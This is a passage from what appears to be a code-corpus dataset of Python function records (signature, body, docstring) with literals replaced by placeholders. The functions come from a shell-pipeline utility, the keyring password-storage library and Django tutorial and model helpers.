{"signature": "@pipe.func<EOL>def readline(prev, filename=None, mode='<STR_LIT:r>', trim=str.rstrip, start=<NUM_LIT:1>, end=sys.maxsize):", "body": "if prev is None:<EOL><INDENT>if filename is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif is_str_type(filename):<EOL><INDENT>file_list = [filename, ]<EOL><DEDENT>else:<EOL><INDENT>file_list = filename<EOL><DEDENT><DEDENT>else:<EOL><INDENT>file_list = prev<EOL><DEDENT>for fn in file_list:<EOL><INDENT>if isinstance(fn, file_type):<EOL><INDENT>fd = fn<EOL><DEDENT>else:<EOL><INDENT>fd = open(fn, mode)<EOL><DEDENT>try:<EOL><INDENT>if start <= <NUM_LIT:1> and end == sys.maxsize:<EOL><INDENT>for line in fd:<EOL><INDENT>yield trim(line)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for line_no, line in enumerate(fd, <NUM_LIT:1>):<EOL><INDENT>if line_no < start:<EOL><INDENT>continue<EOL><DEDENT>yield trim(line)<EOL>if line_no >= end:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if fd != fn:<EOL><INDENT>fd.close()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This pipe get filenames or file object from previous pipe and read the\n    content of file. Then, send the content of file line by line to next pipe.\n\n    The start and end parameters are used to limit the range of reading from file.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param filename: The files to be read. If None, use previous pipe input as filenames.\n    :type filename: None|str|unicode|list|tuple\n    :param mode: The mode to open file. default is 'r'\n    :type mode: str\n    :param trim: The function to trim the line before send to next pipe.\n    :type trim: function object.\n    :param start: if star is specified, only line number larger or equal to start will be sent.\n    :type start: integer\n    :param end: The last line number to read.\n    :type end: integer\n    :returns: generator", "id": "f2259:m21"}
{"signature": "@pipe.func<EOL>def fileobj(prev, file_handle, endl='<STR_LIT>', thru=False):", "body": "if prev is not None:<EOL><INDENT>for i in prev:<EOL><INDENT>file_handle.write(str(i)+endl)<EOL>if thru:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for data in file_handle:<EOL><INDENT>yield data<EOL><DEDENT><DEDENT>", "docstring": "This pipe read/write data from/to file object which specified by\n    file_handle.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param file_handle: The file object to read or write.\n    :type file_handle: file object\n    :param endl: The end-of-line symbol for each output.\n    :type endl: str\n    :param thru: If true, data will passed to next generator. If false, data\n                 will be dropped.\n    :type thru: bool\n    :returns: generator", "id": "f2259:m22"}
{"signature": "@pipe.func<EOL>def sh(prev, *args, **kw):", "body": "endl = '<STR_LIT:\\n>' if '<STR_LIT>' not in kw else kw.pop('<STR_LIT>')<EOL>trim = None if '<STR_LIT>' not in kw else kw.pop('<STR_LIT>')<EOL>if trim is None:<EOL><INDENT>trim = bytes.rstrip if is_py3 else str.rstrip<EOL><DEDENT>cmdline = '<STR_LIT:U+0020>'.join(args)<EOL>if not cmdline:<EOL><INDENT>if prev is not None:<EOL><INDENT>for i in prev:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while True:<EOL><INDENT>yield None<EOL><DEDENT><DEDENT><DEDENT>process = subprocess.Popen(cmdline, shell=True,<EOL>stdin=subprocess.PIPE, stdout=subprocess.PIPE,<EOL>**kw)<EOL>if prev is not None:<EOL><INDENT>stdin_buffer = StringIO()<EOL>for i in prev:<EOL><INDENT>stdin_buffer.write(i)<EOL>if endl:<EOL><INDENT>stdin_buffer.write(endl)<EOL><DEDENT><DEDENT>if is_py3:<EOL><INDENT>process.stdin.write(stdin_buffer.getvalue().encode('<STR_LIT:utf-8>'))<EOL><DEDENT>else:<EOL><INDENT>process.stdin.write(stdin_buffer.getvalue())<EOL><DEDENT>process.stdin.flush()<EOL>process.stdin.close()<EOL>stdin_buffer.close()<EOL><DEDENT>for line in process.stdout:<EOL><INDENT>yield trim(line)<EOL><DEDENT>process.wait()<EOL>", "docstring": "sh pipe execute shell command specified by args. If previous pipe exists,\n    read data from it and write it to stdin of shell process. The stdout of\n    shell process will be passed to next pipe object line by line.\n\n    A optional keyword argument 'trim' can pass a function into sh pipe. It is\n    used to trim the output from shell process. The default trim function is\n    str.rstrip. Therefore, any space characters in tail of\n    shell process output line will be removed.\n\n    For example:\n\n    py_files = result(sh('ls') | strip | wildcard('*.py'))\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param args: The command line arguments. It will be joined by space character.\n    :type args: list of string.\n    :param kw: arguments for subprocess.Popen.\n    :type kw: dictionary of options.\n    :returns: generator", "id": "f2259:m23"}
{"signature": "@pipe.func<EOL>def walk(prev, inital_path, *args, **kw):", "body": "for dir_path, dir_names, filenames in os.walk(inital_path):<EOL><INDENT>for filename in filenames:<EOL><INDENT>yield os.path.join(dir_path, filename)<EOL><DEDENT><DEDENT>", "docstring": "This pipe wrap os.walk and yield absolute path one by one.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param args: The end-of-line symbol for each output.\n    :type args: list of string.\n    :param kw: The end-of-line symbol for each output.\n    :type kw: dictionary of options. Add 'endl' in kw to specify end-of-line symbol.\n    :returns: generator", "id": "f2259:m24"}
{"signature": "@pipe.func<EOL>def join(prev, sep, *args, **kw):", "body": "yield sep.join(prev, *args, **kw)<EOL>", "docstring": "alias of str.join", "id": "f2259:m25"}
{"signature": "@pipe.func<EOL>def substitute(prev, *args, **kw):", "body": "template_obj = string.Template(*args, **kw)<EOL>for data in prev:<EOL><INDENT>yield template_obj.substitute(data)<EOL><DEDENT>", "docstring": "alias of string.Template.substitute", "id": "f2259:m26"}
{"signature": "@pipe.func<EOL>def safe_substitute(prev, *args, **kw):", "body": "template_obj = string.Template(*args, **kw)<EOL>for data in prev:<EOL><INDENT>yield template_obj.safe_substitute(data)<EOL><DEDENT>", "docstring": "alias of string.Template.safe_substitute", "id": "f2259:m27"}
{"signature": "@pipe.func<EOL>def to_str(prev, encoding=None):", "body": "first = next(prev)<EOL>if isinstance(first, str):<EOL><INDENT>if encoding is None:<EOL><INDENT>yield first<EOL>for s in prev:<EOL><INDENT>yield s<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield first.encode(encoding)<EOL>for s in prev:<EOL><INDENT>yield s.encode(encoding)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if encoding is None:<EOL><INDENT>encoding = sys.stdout.encoding or '<STR_LIT:utf-8>'<EOL><DEDENT>yield first.decode(encoding)<EOL>for s in prev:<EOL><INDENT>yield s.decode(encoding)<EOL><DEDENT><DEDENT>", "docstring": "Convert data from previous pipe with specified encoding.", "id": "f2259:m28"}
{"signature": "def register_default_types():", "body": "register_type(type, pipe.map)<EOL>register_type(types.FunctionType, pipe.map)<EOL>register_type(types.MethodType, pipe.map)<EOL>register_type(tuple, seq)<EOL>register_type(list, seq)<EOL>register_type(types.GeneratorType, seq)<EOL>register_type(string_type, sh)<EOL>register_type(unicode_type, sh)<EOL>register_type(file_type, fileobj)<EOL>if is_py3:<EOL><INDENT>register_type(range, seq)<EOL>register_type(map, seq)<EOL><DEDENT>", "docstring": "Regiser all default type-to-pipe convertors.", "id": "f2259:m29"}
{"signature": "def _get_env(self, env_var):", "body": "value = os.environ.get(env_var)<EOL>if not value:<EOL><INDENT>raise ValueError('<STR_LIT>' % env_var)<EOL><DEDENT>return value<EOL>", "docstring": "Helper to read an environment variable", "id": "f2265:c2:m1"}
{"signature": "def __bool__(self):", "body": "return bool(self.type)<EOL>", "docstring": "Return True if an exception occurred", "id": "f2266:c6:m1"}
{"signature": "@contextlib.contextmanager<EOL>def NoNoneDictMutator(destination, **changes):", "body": "original = {}<EOL>for key, value in changes.items():<EOL><INDENT>original[key] = destination.get(key)<EOL>if value is None:<EOL><INDENT>if key in destination:<EOL><INDENT>del destination[key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>destination[key] = value<EOL><DEDENT><DEDENT>yield<EOL>for key, value in original.items():<EOL><INDENT>if value is None:<EOL><INDENT>if key in destination:<EOL><INDENT>del destination[key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>destination[key] = value<EOL><DEDENT><DEDENT>", "docstring": "Helper context manager to make and unmake changes to a dict.\n\n    A None is not a valid value for the destination, and so means that the\n    associated name should be removed.", "id": "f2267:m0"}
{"signature": "def Environ(**changes):", "body": "return NoNoneDictMutator(os.environ, **changes)<EOL>", "docstring": "A context manager to temporarily change the os.environ", "id": "f2267:m1"}
{"signature": "def random_string(k, source=ALPHABET):", "body": "result = '<STR_LIT>'<EOL>for i in range(<NUM_LIT:0>, k):<EOL><INDENT>result += random.choice(source)<EOL><DEDENT>return result<EOL>", "docstring": "Generate a random string with length <i>k</i>", "id": "f2267:m2"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv[<NUM_LIT:1>:]<EOL><DEDENT>cli = CommandLineTool()<EOL>return cli.run(argv)<EOL>", "docstring": "Main command line interface.", "id": "f2277:m0"}
{"signature": "def input_password(self, prompt):", "body": "return self.pass_from_pipe() or getpass.getpass(prompt)<EOL>", "docstring": "Retrieve password from input.", "id": "f2277:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def pass_from_pipe(cls):<DEDENT>", "body": "is_pipe = not sys.stdin.isatty()<EOL>return is_pipe and cls.strip_last_newline(sys.stdin.read())<EOL>", "docstring": "Return password from pipe if not on TTY, else False.", "id": "f2277:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def strip_last_newline(str):<DEDENT>", "body": "return str[:-str.endswith('<STR_LIT:\\n>')]<EOL>", "docstring": "Strip one last newline, if present.", "id": "f2277:c0:m4"}
{"signature": "def output_password(self, password):", "body": "print(password, file=sys.stdout)<EOL>", "docstring": "Output the password to the user.\n\n        This mostly exists to ease the testing process.", "id": "f2277:c0:m5"}
{"signature": "def once(func):", "body": "def wrapper(*args, **kwargs):<EOL><INDENT>if not hasattr(func, '<STR_LIT>'):<EOL><INDENT>func.always_returns = func(*args, **kwargs)<EOL><DEDENT>return func.always_returns<EOL><DEDENT>return functools.wraps(func)(wrapper)<EOL>", "docstring": "Decorate func so it's only ever called the first time.\n\nThis decorator can ensure that an expensive or non-idempotent function\nwill not be expensive on subsequent calls and is idempotent.\n\n>>> func = once(lambda a: a+3)\n>>> func(3)\n6\n>>> func(9)\n6\n>>> func('12')\n6", "id": "f2280:m0"}
{"signature": "def suppress_exceptions(callables, exceptions=Exception):", "body": "for callable in callables:<EOL><INDENT>try:<EOL><INDENT>yield callable()<EOL><DEDENT>except exceptions:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "yield the results of calling each element of callables, suppressing\nany indicated exceptions.", "id": "f2280:m1"}
{"signature": "def _data_root_Linux():", "body": "fallback = os.path.expanduser('<STR_LIT>')<EOL>root = os.environ.get('<STR_LIT>', None) or fallback<EOL>return os.path.join(root, '<STR_LIT>')<EOL>", "docstring": "Use freedesktop.org Base Dir Specfication to determine storage\nlocation.", "id": "f2281:m3"}
{"signature": "def _check_old_config_root():", "body": "<EOL>globals()['<STR_LIT>'] = lambda: None<EOL>config_file_new = os.path.join(_config_root_Linux(), '<STR_LIT>')<EOL>config_file_old = os.path.join(_data_root_Linux(), '<STR_LIT>')<EOL>if os.path.isfile(config_file_old) and not os.path.isfile(config_file_new):<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise RuntimeError(msg.format(**locals()))<EOL><DEDENT>", "docstring": "Prior versions of keyring would search for the config\nin XDG_DATA_HOME, but should probably have been\nsearching for config in XDG_CONFIG_HOME. If the\nconfig exists in the former but not in the latter,\nraise a RuntimeError to force the change.", "id": "f2281:m4"}
{"signature": "def _config_root_Linux():", "body": "_check_old_config_root()<EOL>fallback = os.path.expanduser('<STR_LIT>')<EOL>key = '<STR_LIT>'<EOL>root = os.environ.get(key, None) or fallback<EOL>return os.path.join(root, '<STR_LIT>')<EOL>", "docstring": "Use freedesktop.org Base Dir Specfication to determine config\nlocation.", "id": "f2281:m5"}
{"signature": "def set_keyring(keyring):", "body": "global _keyring_backend<EOL>if not isinstance(keyring, backend.KeyringBackend):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>_keyring_backend = keyring<EOL>", "docstring": "Set current keyring backend.", "id": "f2284:m0"}
{"signature": "def get_keyring():", "body": "return _keyring_backend<EOL>", "docstring": "Get current keyring backend.", "id": "f2284:m1"}
{"signature": "def disable():", "body": "root = platform.config_root()<EOL>try:<EOL><INDENT>os.makedirs(root)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>filename = os.path.join(root, '<STR_LIT>')<EOL>if os.path.exists(filename):<EOL><INDENT>msg = \"<STR_LIT>\".format(**locals())<EOL>raise RuntimeError(msg)<EOL><DEDENT>with open(filename, '<STR_LIT:w>') as file:<EOL><INDENT>file.write('<STR_LIT>')<EOL><DEDENT>", "docstring": "Configure the null keyring as the default.", "id": "f2284:m2"}
{"signature": "def get_password(service_name, username):", "body": "return _keyring_backend.get_password(service_name, username)<EOL>", "docstring": "Get password from the specified service.", "id": "f2284:m3"}
{"signature": "def set_password(service_name, username, password):", "body": "_keyring_backend.set_password(service_name, username, password)<EOL>", "docstring": "Set password for the user in the specified service.", "id": "f2284:m4"}
{"signature": "def delete_password(service_name, username):", "body": "_keyring_backend.delete_password(service_name, username)<EOL>", "docstring": "Delete the password for the user in the specified service.", "id": "f2284:m5"}
{"signature": "def get_credential(service_name, username):", "body": "return _keyring_backend.get_credential(service_name, username)<EOL>", "docstring": "Get a Credential for the specified service.", "id": "f2284:m6"}
{"signature": "def init_backend(limit=None):", "body": "<EOL>backend._limit = limit<EOL>keyrings = filter(limit, backend.get_all_keyring())<EOL>set_keyring(<EOL>load_env()<EOL>or load_config()<EOL>or max(keyrings, default=fail.Keyring(), key=backend.by_priority)<EOL>)<EOL>", "docstring": "Load a keyring specified in the config file or infer the best available.\n\nLimit, if supplied, should be a callable taking a backend and returning\nTrue if that backend should be included for consideration.", "id": "f2284:m8"}
{"signature": "def _load_keyring_class(keyring_name):", "body": "module_name, sep, class_name = keyring_name.rpartition('<STR_LIT:.>')<EOL>__import__(module_name)<EOL>module = sys.modules[module_name]<EOL>return getattr(module, class_name)<EOL>", "docstring": "Load the keyring class indicated by name.\n\nThese popular names are tested to ensure their presence.\n\n>>> popular_names = [\n...      'keyring.backends.Windows.WinVaultKeyring',\n...      'keyring.backends.OS_X.Keyring',\n...      'keyring.backends.kwallet.DBusKeyring',\n...      'keyring.backends.SecretService.Keyring',\n...  ]\n>>> list(map(_load_keyring_class, popular_names))\n[...]\n\nThese legacy names are retained for compatibility.\n\n>>> legacy_names = [\n...  ]\n>>> list(map(_load_keyring_class, legacy_names))\n[...]", "id": "f2284:m9"}
{"signature": "def load_keyring(keyring_name):", "body": "class_ = _load_keyring_class(keyring_name)<EOL>class_.priority<EOL>return class_()<EOL>", "docstring": "Load the specified keyring by name (a fully-qualified name to the\nkeyring, such as 'keyring.backends.file.PlaintextKeyring')", "id": "f2284:m10"}
{"signature": "def load_env():", "body": "try:<EOL><INDENT>return load_keyring(os.environ['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Load a keyring configured in the environment variable.", "id": "f2284:m11"}
{"signature": "def load_config():", "body": "filename = '<STR_LIT>'<EOL>keyring_cfg = os.path.join(platform.config_root(), filename)<EOL>if not os.path.exists(keyring_cfg):<EOL><INDENT>return<EOL><DEDENT>config = configparser.RawConfigParser()<EOL>config.read(keyring_cfg)<EOL>_load_keyring_path(config)<EOL>try:<EOL><INDENT>if config.has_section(\"<STR_LIT>\"):<EOL><INDENT>keyring_name = config.get(\"<STR_LIT>\", \"<STR_LIT>\").strip()<EOL><DEDENT>else:<EOL><INDENT>raise configparser.NoOptionError('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>except (configparser.NoOptionError, ImportError):<EOL><INDENT>logger = logging.getLogger('<STR_LIT>')<EOL>logger.warning(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % keyring_cfg)<EOL>return<EOL><DEDENT>return load_keyring(keyring_name)<EOL>", "docstring": "Load a keyring using the config file in the config root.", "id": "f2284:m12"}
{"signature": "def _load_keyring_path(config):", "body": "try:<EOL><INDENT>path = config.get(\"<STR_LIT>\", \"<STR_LIT>\").strip()<EOL>sys.path.insert(<NUM_LIT:0>, path)<EOL><DEDENT>except (configparser.NoOptionError, configparser.NoSectionError):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "load the keyring-path option (if present)", "id": "f2284:m13"}
{"signature": "def get_password(self, service, username):", "body": "if not self.connected(service):<EOL><INDENT>raise KeyringLocked(\"<STR_LIT>\")<EOL><DEDENT>if not self.iface.hasEntry(self.handle, service, username, self.appid):<EOL><INDENT>return None<EOL><DEDENT>password = self.iface.readPassword(<EOL>self.handle, service, username, self.appid)<EOL>return str(password)<EOL>", "docstring": "Get password of the username for the service", "id": "f2285:c0:m4"}
{"signature": "def set_password(self, service, username, password):", "body": "if not self.connected(service):<EOL><INDENT>raise PasswordSetError(\"<STR_LIT>\")<EOL><DEDENT>self.iface.writePassword(<EOL>self.handle, service, username, password, self.appid)<EOL>", "docstring": "Set password for the username of the service", "id": "f2285:c0:m5"}
{"signature": "def delete_password(self, service, username):", "body": "if not self.connected(service):<EOL><INDENT>raise PasswordDeleteError(\"<STR_LIT>\")<EOL><DEDENT>if not self.iface.hasEntry(self.handle, service, username, self.appid):<EOL><INDENT>raise PasswordDeleteError(\"<STR_LIT>\")<EOL><DEDENT>self.iface.removeEntry(self.handle, service, username, self.appid)<EOL>", "docstring": "Delete the password for the username of the service.", "id": "f2285:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def unpack(word):<DEDENT>", "body": "if not isinstance(word, str):<EOL><INDENT>return word<EOL><DEDENT>val, = struct.unpack('<STR_LIT>', word.encode('<STR_LIT:ascii>'))<EOL>return val<EOL>", "docstring": "r\"\"\"\n        >>> PackedAttributes.unpack(0)\n        0\n        >>> PackedAttributes.unpack('\\x00\\x00\\x00\\x01')\n        1\n        >>> PackedAttributes.unpack('abcd')\n        1633837924", "id": "f2287:c5:m1"}
{"signature": "def get_preferred_collection(self):", "body": "bus = secretstorage.dbus_init()<EOL>try:<EOL><INDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>collection = secretstorage.Collection(<EOL>bus, self.preferred_collection)<EOL><DEDENT>else:<EOL><INDENT>collection = secretstorage.get_default_collection(bus)<EOL><DEDENT><DEDENT>except exceptions.SecretStorageException as e:<EOL><INDENT>raise InitError(\"<STR_LIT>\" % e)<EOL><DEDENT>if collection.is_locked():<EOL><INDENT>collection.unlock()<EOL>if collection.is_locked():  <EOL><INDENT>raise KeyringLocked(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return collection<EOL>", "docstring": "If self.preferred_collection contains a D-Bus path,\n        the collection at that address is returned. Otherwise,\n        the default collection is returned.", "id": "f2288:c0:m1"}
{"signature": "def get_password(self, service, username):", "body": "collection = self.get_preferred_collection()<EOL>items = collection.search_items(<EOL>{\"<STR_LIT:username>\": username, \"<STR_LIT>\": service})<EOL>for item in items:<EOL><INDENT>if hasattr(item, '<STR_LIT>'):<EOL><INDENT>item.unlock()<EOL><DEDENT>if item.is_locked():  <EOL><INDENT>raise KeyringLocked('<STR_LIT>')<EOL><DEDENT>return item.get_secret().decode('<STR_LIT:utf-8>')<EOL><DEDENT>", "docstring": "Get password of the username for the service", "id": "f2288:c0:m2"}
{"signature": "def set_password(self, service, username, password):", "body": "collection = self.get_preferred_collection()<EOL>attributes = {<EOL>\"<STR_LIT>\": self.appid,<EOL>\"<STR_LIT>\": service,<EOL>\"<STR_LIT:username>\": username<EOL>}<EOL>label = \"<STR_LIT>\".format(username, service)<EOL>collection.create_item(label, attributes, password, replace=True)<EOL>", "docstring": "Set password for the username of the service", "id": "f2288:c0:m3"}
{"signature": "def delete_password(self, service, username):", "body": "collection = self.get_preferred_collection()<EOL>items = collection.search_items(<EOL>{\"<STR_LIT:username>\": username, \"<STR_LIT>\": service})<EOL>for item in items:<EOL><INDENT>return item.delete()<EOL><DEDENT>raise PasswordDeleteError(\"<STR_LIT>\")<EOL>", "docstring": "Delete the stored password (only the first one)", "id": "f2288:c0:m4"}
{"signature": "@properties.ClassProperty<EOL><INDENT>@classmethod<EOL>def priority(cls):<DEDENT>", "body": "if missing_deps:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return <NUM_LIT:5><EOL>", "docstring": "If available, the preferred backend on Windows.", "id": "f2289:c0:m0"}
{"signature": "@properties.ClassProperty<EOL><INDENT>@classmethod<EOL>def priority(cls):<DEDENT>", "body": "return <NUM_LIT:10> * (len(cls.backends) > <NUM_LIT:1>)<EOL>", "docstring": "High-priority if there are backends to chain, otherwise 0.", "id": "f2291:c0:m0"}
{"signature": "@properties.ClassProperty<EOL><INDENT>@classmethod<EOL>def backends(cls):<DEDENT>", "body": "allowed = (<EOL>keyring<EOL>for keyring in filter(backend._limit, backend.get_all_keyring())<EOL>if not isinstance(keyring, ChainerBackend)<EOL>and keyring.priority > <NUM_LIT:0><EOL>)<EOL>return sorted(allowed, key=backend.by_priority, reverse=True)<EOL>", "docstring": "Discover all keyrings for chaining.", "id": "f2291:c0:m1"}
{"signature": "@properties.ClassProperty<EOL><INDENT>@classmethod<EOL>def priority(cls):<DEDENT>", "body": "if platform.system() != '<STR_LIT>':<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return <NUM_LIT:5><EOL>", "docstring": "Preferred for all macOS environments.", "id": "f2292:c0:m0"}
{"signature": "def _load_plugins():", "body": "group = '<STR_LIT>'<EOL>entry_points = entrypoints.get_group_all(group=group)<EOL>for ep in entry_points:<EOL><INDENT>try:<EOL><INDENT>log.info('<STR_LIT>', ep.name)<EOL>init_func = ep.load()<EOL>if callable(init_func):<EOL><INDENT>init_func()<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>log.exception(\"<STR_LIT>\" % ep)<EOL><DEDENT><DEDENT>", "docstring": "Locate all setuptools entry points by the name 'keyring backends'\nand initialize them.\nAny third-party library may register an entry point by adding the\nfollowing to their setup.py::\n\n    entry_points = {\n        'keyring.backends': [\n            'plugin_name = mylib.mymodule:initialize_func',\n        ],\n    },\n\n`plugin_name` can be anything, and is only used to display the name\nof the plugin at initialization time.\n\n`initialize_func` is optional, but will be invoked if callable.", "id": "f2293:m0"}
{"signature": "@util.once<EOL>def get_all_keyring():", "body": "_load_plugins()<EOL>viable_classes = KeyringBackend.get_viable_backends()<EOL>rings = util.suppress_exceptions(viable_classes, exceptions=TypeError)<EOL>return list(rings)<EOL>", "docstring": "Return a list of all implemented keyrings that can be constructed without\nparameters.", "id": "f2293:m1"}
{"signature": "def priority(cls):", "body": "", "docstring": "Each backend class must supply a priority, a number (float or integer)\nindicating the priority of the backend relative to all other backends.\nThe priority need not be static -- it may (and should) vary based\nattributes of the environment in which is runs (platform, available\npackages, etc.).\n\nA higher number indicates a higher priority. The priority should raise\na RuntimeError with a message indicating the underlying cause if the\nbackend is not suitable for the current environment.\n\nAs a rule of thumb, a priority between zero but less than one is\nsuitable, but a priority of one or greater is recommended.", "id": "f2293:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_viable_backends(cls):<DEDENT>", "body": "return filter(operator.attrgetter('<STR_LIT>'), cls._classes)<EOL>", "docstring": "Return all subclasses deemed viable.", "id": "f2293:c1:m2"}
{"signature": "@properties.ClassProperty<EOL><INDENT>@classmethod<EOL>def name(cls):<DEDENT>", "body": "parent, sep, mod_name = cls.__module__.rpartition('<STR_LIT:.>')<EOL>mod_name = mod_name.replace('<STR_LIT:_>', '<STR_LIT:U+0020>')<EOL>return '<STR_LIT:U+0020>'.join([mod_name, cls.__name__])<EOL>", "docstring": "The keyring name, suitable for display.\n\nThe name is derived from module and class name.", "id": "f2293:c1:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_password(self, service, username):<DEDENT>", "body": "return None<EOL>", "docstring": "Get password of the username for the service", "id": "f2293:c1:m5"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def set_password(self, service, username, password):<DEDENT>", "body": "raise errors.PasswordSetError(\"<STR_LIT>\")<EOL>", "docstring": "Set password for the username of the service.\n\n        If the backend cannot store passwords, raise\n        NotImplementedError.", "id": "f2293:c1:m6"}
{"signature": "def delete_password(self, service, username):", "body": "raise errors.PasswordDeleteError(\"<STR_LIT>\")<EOL>", "docstring": "Delete the password for the username of the service.\n\n        If the backend cannot store passwords, raise\n        NotImplementedError.", "id": "f2293:c1:m7"}
{"signature": "def get_credential(self, service, username):", "body": "<EOL>if username is not None:<EOL><INDENT>password = self.get_password(service, username)<EOL>if password is not None:<EOL><INDENT>return credentials.SimpleCredential(<EOL>username,<EOL>password,<EOL>)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Gets the username and password for the service.\n        Returns a Credential instance.\n\n        The *username* argument is optional and may be omitted by\n        the caller or ignored by the backend. Callers must use the\n        returned username.", "id": "f2293:c1:m8"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def encrypt(self, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Encrypt the value.", "id": "f2293:c2:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def decrypt(self, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Decrypt the value.", "id": "f2293:c2:m1"}
{"signature": "def get_queryset(self):", "body": "return Question.objects.filter(<EOL>pub_date__lte=timezone.now()<EOL>).order_by('<STR_LIT>')[:<NUM_LIT:5>]<EOL>", "docstring": "Return the last five published questions.", "id": "f2297:c0:m0"}
{"signature": "def get_queryset(self):", "body": "return Question.objects.filter(pub_date__lte=timezone.now())<EOL>", "docstring": "Excludes any questions that aren't published yet.", "id": "f2297:c1:m0"}
{"signature": "def get_queryset(self):", "body": "return Question.objects.filter(pub_date__lte=timezone.now())<EOL>", "docstring": "Excludes any questions that aren't published yet.", "id": "f2297:c2:m0"}
{"signature": "def create_question(question_text, days):", "body": "time = timezone.now() + datetime.timedelta(days=days)<EOL>return Question.objects.create(question_text=question_text, pub_date=time)<EOL>", "docstring": "Creates a question with the given `question_text` published the given\nnumber of `days` offset to now (negative for questions published\nin the past, positive for questions that have yet to be published).", "id": "f2300:m0"}
{"signature": "def get_default_fields(self):", "body": "field_names = self._meta.get_all_field_names()<EOL>if '<STR_LIT:id>' in field_names:<EOL><INDENT>field_names.remove('<STR_LIT:id>')<EOL><DEDENT>return field_names<EOL>", "docstring": "get all fields of model, execpt id", "id": "f2309:c0:m0"}
{"signature": "def get_field_value(self, field, value_verbose=True):", "body": "if not value_verbose:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>value = field._get_val_from_obj(self)<EOL><DEDENT>else:<EOL><INDENT>if isinstance(field, ForeignKey):<EOL><INDENT>value = getattr(self, field.name)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>value =  self._get_FIELD_display(field)<EOL><DEDENT>except :<EOL><INDENT>value = field._get_val_from_obj(self)<EOL><DEDENT><DEDENT><DEDENT>if(value == True or value == False or isinstance(value, (int, float))):<EOL><INDENT>return value<EOL><DEDENT>return unicode(value)<EOL>", "docstring": "\u8fd4\u56de\u663e\u793a\u7684\u503c\uff0c\u800c\u4e0d\u662f\u5355\u7eaf\u7684\u6570\u636e\u5e93\u4e2d\u7684\u503c\nfield  \u662fmodel\u4e2d\u7684field type\nvalue_verbose \u4e3aTrue\uff0c\u8fd4\u56de\u6570\u636e\u7684\u663e\u793a\u6570\u636e\uff0c\u4f1a\u8f6c\u6362\u4e3achoice\u7684\u5185\u5bb9\uff0c\n\u5982\u679cvalue_verbose \u4e3aFalse\uff0c \u8fd4\u56de\u6570\u636e\u7684\u5b9e\u9645\u503c", "id": "f2309:c0:m1"}
{"signature": "def get_fields(self, field_verbose=True, value_verbose=True, fields=[], extra_fields=[], remove_fields = []):", "body": "field_list = []<EOL>for field in self.__class__._meta.fields:<EOL><INDENT>if field.name in remove_fields:<EOL><INDENT>continue<EOL><DEDENT>if fields and field.name not in fields:<EOL><INDENT>continue<EOL><DEDENT>if field.verbose_name and field_verbose:<EOL><INDENT>value_tuple = (field.verbose_name, self.get_field_value(field, value_verbose))<EOL><DEDENT>else:<EOL><INDENT>value_tuple = (field.name, self.get_field_value(field, value_verbose))<EOL><DEDENT>field_list.append(value_tuple)<EOL><DEDENT>for name in extra_fields:<EOL><INDENT>method = getattr(self, name)<EOL>result = method()<EOL>value_tuple = (name, result)<EOL>field_list.append(value_tuple)<EOL><DEDENT>return field_list<EOL>", "docstring": "\u8fd4\u56de\u5b57\u6bb5\u540d\u53ca\u5176\u5bf9\u5e94\u503c\u7684\u5217\u8868\nfield_verbose \u4e3aTrue\uff0c\u8fd4\u56de\u5b9a\u4e49\u4e2d\u7684\u5b57\u6bb5\u7684verbose_name\uff0c False\u8fd4\u56de\u5176name\nvalue_verbose \u4e3aTrue\uff0c\u8fd4\u56de\u6570\u636e\u7684\u663e\u793a\u6570\u636e\uff0c\u4f1a\u8f6c\u6362\u4e3achoice\u7684\u5185\u5bb9\uff0c\u4e3aFalse\uff0c \u8fd4\u56de\u6570\u636e\u7684\u5b9e\u9645\u503c\nfields \u6307\u5b9a\u4e86\u8981\u663e\u793a\u7684\u5b57\u6bb5\nextra_fields 